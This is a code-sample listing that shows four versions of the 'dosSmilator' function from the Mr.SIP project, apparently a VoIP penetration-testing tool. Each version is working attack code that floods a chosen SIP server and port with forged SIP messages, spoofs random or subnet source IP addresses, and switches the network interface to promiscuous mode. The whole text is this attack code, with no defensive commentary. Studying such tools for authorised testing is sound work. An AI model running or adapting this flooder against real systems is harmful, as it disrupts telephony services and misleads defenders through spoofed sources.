コード例 #1
0
ファイル: mr.sip.py プロジェクト: MasterScott/Mr.SIP
def dosSmilator():
    conf.verb = 0

    client_ip = netifaces.ifaddresses(conf.iface)[2][0]['addr']
    client_netmask = netifaces.ifaddresses(conf.iface)[2][0]['netmask']

    print("\033[33m[!] Client Interface: {0}".format(str(
        conf.iface))) + "\033[0m"
    print("\033[33m[!] Client IP: {0} ".format(str(client_ip))) + "\033[0m"

    print "\033[94m[!] DoS attack simulation process started. \033[0m"

    utilities.promisc("on", conf.iface)

    i = 0
    while i < int(options.counter):
        try:

            toUser = random.choice(
                [line.rstrip('\n') for line in open(options.to_user)])
            fromUser = random.choice(
                [line.rstrip('\n') for line in open(options.from_user)])
            spUser = random.choice(
                [line.rstrip('\n') for line in open(options.sp_user)])
            userAgent = random.choice(
                [line.rstrip('\n') for line in open(options.user_agent)])

            pkt = IP(dst=options.dest_ip)
            client = pkt.src

            if options.random and not options.library:
                client = utilities.randomIPAddress()
            if options.manual and not options.library:
                client = random.choice([
                    line.rstrip('\n') for line in open(options.manual_ip_list)
                ])
            if options.subnet and not options.library:
                client = utilities.randomIPAddressFromNetwork(
                    client_ip, client_netmask)
            send_protocol = "scapy"
            if options.library:
                send_protocol = "socket"

            sip = sip_packet.sip_packet(str(options.dos_method),
                                        str(options.dest_ip),
                                        str(options.dest_port), str(client),
                                        str(fromUser), str(toUser),
                                        str(userAgent), str(spUser),
                                        send_protocol)
            sip.generate_packet()
            i += 1
            utilities.printProgressBar(i, int(options.counter), "Progress: ")
        except (KeyboardInterrupt):
            utilities.promisc("off", conf.iface)
            print("Exiting traffic generation...")
            raise SystemExit

    print "\033[31m[!] DoS simulation finished and {0} packet sent to {1}...".format(
        str(i), str(options.dest_ip)) + "\033[0m"
    utilities.promisc("off", conf.iface)
コード例 #2
0
ファイル: mr.sip.py プロジェクト: y0d4a/Mr.SIP
def dosSmilator():
    conf.verb = 0
    os.system("toilet SIP-DAS")
    
    client_ip = netifaces.ifaddresses(conf.iface)[2][0]['addr']
    client_netmask = netifaces.ifaddresses(conf.iface)[2][0]['netmask']
    
    print ("[!] Client Interface: {0}".format(str(conf.iface)))
    print ("[!] Client IP: {0} ".format(str(client_ip)))
    
    utilities.promisc("on")

    i = 0
    while i <= int(options.counter):
        try:
            
            toUser = random.choice([line.rstrip('\n') for line in open(options.to_user)])
            fromUser = random.choice([line.rstrip('\n') for line in open(options.from_user)])
            spUser = random.choice([line.rstrip('\n') for line in open(options.sp_user)])
            userAgent = random.choice([line.rstrip('\n') for line in open(options.user_agent)])
            
            pkt= IP(dst=options.server)
            client = pkt.src
            
            if options.random and not options.tcp:
                client = utilities.randomIPAddress()
            if options.manual and not options.tcp:
                client = random.choice([line.rstrip('\n') for line in open(options.manual_ip_list)])
            if options.subnet and not options.tcp:
                client = utilities.randomIPAddressFromNetwork(client_ip, client_netmask)
            send_protocol = "udp"
            if options.tcp_protocol:
                send_protocol = "tcp"
                
            SipPacket(str(options.dos_method), str(options.dest_ip), str(options.dest_port), str(client), str(fromUser), str(toUser), str(userAgent), str(spUser), send_protocol)
            
            i += 1
            utilities.printProgressBar(i,int(options.counter),"Progress: ")
        except (KeyboardInterrupt):
            utilities.promisc("off")
            print("Exiting traffic generation...")
            raise SystemExit
    
    print "[!] DoS simulation finished and {0} packet sent to {1}...".format(str(i),str(options.dest_ip))
    utilities.promisc("off")
    
コード例 #3
0
ファイル: mr.sip.py プロジェクト: rakesh72/Mr.SIP
def dosSmilator():
    conf.verb = 0
    
    client_ip = netifaces.ifaddresses(conf.iface)[2][0]['addr']
    client_netmask = netifaces.ifaddresses(conf.iface)[2][0]['netmask']
    
    print ("[!] Client Interface: {0}".format(str(conf.iface)))
    print ("[!] Client IP: {0} ".format(str(client_ip)))
    
    utilities.promisc("on",conf.iface)

    i = 0
    while i < int(options.counter):
        try:
            
            toUser = random.choice([line.rstrip('\n') for line in open(options.to_user)])
            fromUser = random.choice([line.rstrip('\n') for line in open(options.from_user)])
            spUser = random.choice([line.rstrip('\n') for line in open(options.sp_user)])
            userAgent = random.choice([line.rstrip('\n') for line in open(options.user_agent)])
            
            pkt= IP(dst=options.dest_ip)
            client = pkt.src
            
            if options.random and not options.library:
                client = utilities.randomIPAddress()
            if options.manual and not options.library:
                client = random.choice([line.rstrip('\n') for line in open(options.manual_ip_list)])
            if options.subnet and not options.library:
                client = utilities.randomIPAddressFromNetwork(client_ip, client_netmask)
            send_protocol = "scapy"
            if options.library:
                send_protocol = "socket"
                
            sip = sip_packet.sip_packet(str(options.dos_method), str(options.dest_ip), str(options.dest_port), str(client), str(fromUser), str(toUser), str(userAgent), str(spUser), send_protocol)
            sip.generate_packet()
            i += 1
            utilities.printProgressBar(i,int(options.counter),"Progress: ")
        except (KeyboardInterrupt):
            utilities.promisc("off",conf.iface)
            print("Exiting traffic generation...")
            raise SystemExit
    
    print "[!] DoS simulation finished and {0} packet sent to {1}...".format(str(i),str(options.dest_ip))
    utilities.promisc("off",conf.iface)
コード例 #4
0
def dosSmilator():
    value_errors = []
    conf.verb = 0

    try:
        client_ip = netifaces.ifaddresses(conf.iface)[2][0]['addr']
        client_netmask = netifaces.ifaddresses(conf.iface)[2][0]['netmask']
    except ValueError:
        value_errors.append(
            'Please specify a valid interface name with --if option.')
    message_type = options.message_type.lower(
    ) if options.message_type else "invite"

    utilities.check_value_errors(value_errors)
    utilities.promisc("on", conf.iface)
    utilities.printInital("DoS attack simulation", conf.iface, client_ip)

    i = 0
    while i < int(options.counter):
        try:
            toUser = random.choice(
                [line.rstrip('\n') for line in open(options.to_user)])
            fromUser = random.choice(
                [line.rstrip('\n') for line in open(options.from_user)])
            spUser = random.choice(
                [line.rstrip('\n') for line in open(options.sp_user)])
            userAgent = random.choice(
                [line.rstrip('\n') for line in open(options.user_agent)])

            pkt = IP(dst=options.target_network)
            client = pkt.src

            if options.random and not options.library:
                client = utilities.randomIPAddress()
            if options.manual and not options.library:
                client = random.choice([
                    line.rstrip('\n') for line in open(options.manual_ip_list)
                ])
            if options.subnet and not options.library:
                client = utilities.randomIPAddressFromNetwork(
                    client_ip, client_netmask, False)
            send_protocol = "scapy"
            if options.library:
                send_protocol = "socket"

            sip = sip_packet.sip_packet(str(message_type),
                                        str(options.target_network),
                                        str(options.dest_port), str(client),
                                        str(fromUser), str(toUser),
                                        str(userAgent), str(spUser),
                                        send_protocol)
            sip.generate_packet()
            i += 1
            utilities.printProgressBar(i, int(options.counter), "Progress: ")
        except (KeyboardInterrupt):
            utilities.promisc("off", conf.iface)
            print("Exiting traffic generation...")
            raise SystemExit

    print((
        "\033[31m[!] DoS simulation finished and {0} packet sent to {1}...\033[0m"
        .format(str(i), str(options.target_network))))
    utilities.promisc("off", conf.iface)